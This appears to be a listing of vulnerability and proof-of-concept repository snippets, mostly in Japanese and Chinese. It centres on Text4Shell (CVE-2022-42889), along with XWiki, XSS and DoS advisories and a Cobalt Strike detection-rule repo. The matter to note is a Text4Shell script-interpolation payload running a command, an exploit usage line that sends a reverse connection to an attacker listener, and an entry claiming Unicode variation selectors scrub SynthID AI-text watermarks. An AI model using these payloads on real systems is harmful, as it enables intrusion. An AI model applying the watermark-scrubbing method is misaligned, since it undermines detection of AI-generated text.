claude-awm

claude-awm: can you scrub a SynthID text watermark by editing the text? Yes, but only one family of attack works, and it isn't the one everyone assumes. Unicode variation selectors category Mn, U+FE00 to U+FE0F and U+E0100 to U+E01EF drive the detector below threshold and stay there. Every other...

CVE-2022-42889

CVE-2022-42889 テストアプリケーション このリポジトリには、CVE-2022-42889 に対して脆弱な Apache Commons Text 1.9 を使用したシンプルなアプリケーションが含まれています。 エクスプロイトを再現する手順 リポジトリ内でエクスプロイトを再現する手順 DemoApplication.java を自分のリポジトリにコピーします。 デフォルトの文字列を使用してメインメソッドを実行します（推奨）。 デフォルトの文字列に対する出力が 519 の場合、またはアプリがエラーなしで実行される場合： その場合、アプリは悪用可能です。 🥵 VM...

CC_Watermark

歪みのないテキスト透かしのための最適カップリング 歪みのないテキスト透かしのための最適カップリング の公式コード 概要 大規模言語モデル（LLM）は、現在では人間が生成したコンテンツと見分けがつかないテキストを生成できるようになりました。 このことが、LLMの出力への摂動を最小限に抑えつつ、LLMが生成したテキストに'シグナル'を刻み込む透かしの開発を促進しました。 本論文は、ワンショット設定におけるテキスト透かしの分析を提供します。 サイド情報を伴う仮説検定の観点から、透かし検出能力と生成テキスト品質の歪みとの間の基本的なトレードオフを定式化し、分析します。...

xwiki__xwiki-rendering_CVE-2023-37908_14-10-3

XWiki Rendering XWiki Rendering は、特定の構文（wiki構文、HTMLなど）で書かれたテキスト入力を別の構文（XHTMLなど）に変換する、汎用的なレンダリングシステムです。 XWiki Platform、XWiki Commons、XWiki Rendering は、XWiki.org ソフトウェアフォージの一部です。これらは一緒にリリースされ、同じバージョンを共有します。 ドキュメント ドキュメント API 開発ゾーン ダウンロード XWiki Rendering の JAR は、 で入手できます。 リリースノート リリースノート をご覧ください。 ツー...

CVE-2022-42889-Analysis

CVE-2022-42889 Text4Shell レポート Apache Commons Text CVE-2022-42889に関する分析レポートと、閉鎖的なテスト環境に基づく攻撃デモ資料をまとめたリポジトリです。 ドキュメント CVE-2022-42889 - 脆弱性分析レポート リポジトリ構成 CVE-2022-42889-Report/ ├─ README.md ├─ report/ │ └─ CVE-2022-42889Text4ShellReport.md └─ images/ ├─ 01-docker-check.png ├─ 02-maven-download.png ...

Sensitive-Information-disclosure-via-SPI-flash-firmware-for-Hathway-router-CVE-2024-46383

Sensitive-Information-disclosure-via-SPI-flash-firmware-for-Hathway-router-CVE-2024-46383 脆弱性の説明: ルーターファームウェアのセキュリティ評価中に、ルーターに接続されているデバイス（携帯電話、ノートパソコン、タブレットなど）に関する機密情報が平文で保存されており、攻撃者がそれを悪用する可能性があることが確認されました。 製品ベンダー: Hathway 影響を受ける製品: CM5100-511 影響を受けるバージョン: 4.1.1.24 脆弱性スコア V3.1: 5.2 Medium...

CVE-2022-31902

CVE-2022-31902 Notepad++x86の8.4.3およびそれ以前におけるサービス拒否DoS 説明 脆弱性のトリガー方法: 特別に細工されたテキストファイル（例: first.txt）を開き、検索オプションの下にあるFind All in All Opened DocumentまたはFind All in Current Opened Documentを使用する。 以下は例示的な例です。11/07/2022時点で、最新版のNotepad++x86 8.4.3が使用されています。 概念実証 - first.txtを開き、Notepad++で任意の文字を検索し、Find All...

cve-2024-37763

説明 MachFormのバージョン19までが、認証されていない格納型クロスサイトスクリプティングの影響を受けます。これにより、有効なセッションを持つユーザーがフォームの結果を閲覧する際に影響を受けます。 対象のWebアプリケーションでは、テキスト署名が有効になっているフォームを使用する場合、脆弱なリソースへのリクエストがXSS攻撃を受けることが判明しました。脆弱なURL内のPOSTリクエストのボディパラメータがサニタイズされておらず、悪意のあるペイロードが埋め込まれ、被害者のブラウザでJavaScriptコードがトリガーされる可能性があります。 リスク 深刻度: 中 CVSS v3.1...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 要找到完整的漏洞利用搭建和复现报告，请查找 CVE-2022-42889-Project Vulnerability Exploitation Report 文件。用于构建和运行漏洞利用的虚拟机不包含在此仓库中。 CVE-2022-42889 Text4Shell 的搭建与漏洞复现。 CVE-2022-42889，也被称为 "Text4Shell"，是 Apache Commons Text 库中的一个严重漏洞。该库常用于 Java 应用程序中的文本处理，并为标准 Java 开发工具包（JDK）的文本处理提供补充功能。据报道，自 2018...

EUVD-2026-87939

spaceship-prompt through 4.22.5 fails to sanitize control characters from project manifest version fields before rendering them in the zsh prompt. Attackers can embed ANSI/OSC escape sequences in version fields of package manifests to manipulate terminal output, rewrite window titles, or spoof...

CVE-2023-33802

CVE-2023-33802 SumatraPDF 3.4.6 - 32ビット サービス拒否 DoS 説明 このバグでは、SumatraPDF 32ビットに入力として2つの大きなサイズのテキストファイル（first.txt & second.txt）を開いたときに現れるクラッシュに対処します。 以下のコマンドを実行するか、SumatraPDF 32ビット3.4.6で手動で両方のファイルを開くことができます。 SumatraPDF.exe first.txt second.txt WinDBGを使用した32ビット版3.4.6アプリケーションのクラッシュレポート 以下のクラッシュが発生しまし...

CVE-2026-54433

CVE-2026-54433：Roundcube 纯文本电子邮件存储型 XSS 本仓库包含针对 CVE-2026-54433 的可配置 Python 概念验证代码，这是 Roundcube 纯文本电子邮件渲染器中的一个存储型跨站脚本漏洞。未经身份验证的发送者可以发送精心构造的 text/plain 消息。当已认证的 Roundcube 用户打开或预览该消息时，攻击者控制的 JavaScript 会在 Roundcube 源（origin）中执行。 该 PoC 演示了具体的已认证会话影响，且不收集 Cookie 或消息正文：它会读取一条较早消息的主题，并将该值、Roundcube...

CVE-2026-30691

CVE-2026-30691 - 脆弱性勧告 公式MITRE脆弱性レコード詳細およびCVE-2026-30691の技術ドキュメント -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Suggested description Cross-Site Scripting XSS vulnerability in @cyntler/react-doc-viewer v1.17.1 allows remote attackers to execute arbitrary JavaScript via a crafted .txt file. The...

Apache-Commons-Text-CVE-2022-42889

Apache Commons Text CVE-2022-42889 概要 Apache Text4Shell（CVE-2022-42889）影響を受けるApache Commons Textのバージョンは1.5から1.9で、バージョン1.10で修正されています。 Apache Commons Textは、「文字列を操作するアルゴリズムに焦点を当てたライブラリ」と説明されるJavaライブラリです。 使用方法: 1. Text4ShellCVE-2022-42889.bb を Burp BountyData\profiles にコピーします 2. スキャンするリクエストを選択します 参考文...

xwiki-cve-2025-24893

XWiki SolrSearch の認証不要 RCE CVE-2025-24893 貢献者 ホワイトハットスクール4期25クラス イム・ドゥヨン@endusdksla 概要 XWikiはウィキ構文とマクロをサーバー側で解釈してレンダリングします。問題は、Main.SolrSearchページがゲストに公開されているにもかかわらず、ユーザー入力であるtextパラメータを十分な検証なしにXWiki構文として評価することです。...

Linux Distros Unpatched Vulnerability : CVE-2026-100694

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Hugo is a static site generator. In versions from v0.56.0 through v0.165.x, content files mapped to the text/org media type are rendered without escaping raw...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 説明 このスクリプトは、Apache Commons Text（バージョン -param $PARAMETER -L $LHOST -P $LPORT 例 python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免責事項 このツールは教育目的および許可されたペネトレーションテストのみを対象としています。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。...

CVE-2022-42889

CVE-2022-42889-POC CVE-2022-42889 脆弱性を悪用する方法を示すシンプルなデモアプリケーションです。 OOB（Out of Band）サービスを利用して、dns および url プレフィックスを実演します。 commons-text 補間の JavaDocs: commons-text JavaDocs 補間の例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url...

cobaltstrike-sleepmask-yara

cobaltstrike-sleepmask-yara 只是一个 git 仓库，用于存放我在 https://codex-7.gitbook.io/codexs-terminal-window/blue-team/detecting-cobalt-strike/sleep-mask-kit-iocs 找到的 sleepmask 检测规则。 tl;dr 简而言之，这些字节属于 sleep mask kit 未混淆的 .text 段 本身，并且在睡眠时不会被混淆。使用内置的 sleepmasking 技术时，不可能对该区域进行加密，因为它必须保持可执行状态才能唤醒...

CVE-2022-31901

CVE-2022-31901 Notepad++x86 の 8.4.3 および 以前のバージョン におけるサービス拒否 DOS。 説明 脆弱性のトリガーは、2つの特別に細工されたテキストファイル（e.g. first.txt & second.txt）を notepad++ への入力として開くことによって発生します。 以下に例を示すように、11/07/2022 時点では、最新バージョンの Notepad++x86 である 8.4.3 を使用しています。 概念実証 - 2つのサンプル入力ファイル first.txt & second.txt を Notepad++ で任意の順序で開きます。...